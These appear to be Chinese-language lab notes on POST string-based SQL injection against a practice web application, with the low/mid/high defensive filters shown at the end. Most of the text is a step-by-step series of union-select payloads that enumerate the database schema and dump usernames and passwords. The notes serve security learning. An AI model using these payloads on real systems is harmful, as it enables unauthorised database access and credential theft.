POST 字符型注入
判断是否存在注入
'
' and 1=1 #
' and 1=2 #
判断注入字段个数
' order by 7 #
' order by 8 #
判断注入字段位置
' union select 1,2,3,4,5,6,7 limit 10,1#
获取数据库信息
' union select 1,database(),version(),4,5,6,7 limit 10,1#
获取表名
' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),version(),4,5,6,7 limit 10,1#
获取列名
' union select 1,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema=database()),version(),4,5,6,7 limit 10,1#
获取信息
' union select 1,(select group_concat(login,'-',password,'-') from users),version(),4,5,6,7 limit 10,1#
演练
low
' union select 1,(select group_concat(login,'-',password,'-') from users),version(),4,5,6,7 limit 10,1#
mid
不大可能绕过
function sqli_check_1($data)
{
return addslashes($data);
// 语法 addslashes ( string $str ) : string
// 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。
// 这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。
}
high
无法绕过
function sqli_check_2($data)
{
return mysql_real_escape_string($data);
// 面向对象风格
// mysqli::escape_string ( string $escapestr ) : string
// mysqli::real_escape_string ( string $escapestr ) : string
// 过程化风格
// mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string
// 此函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。
// 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。
}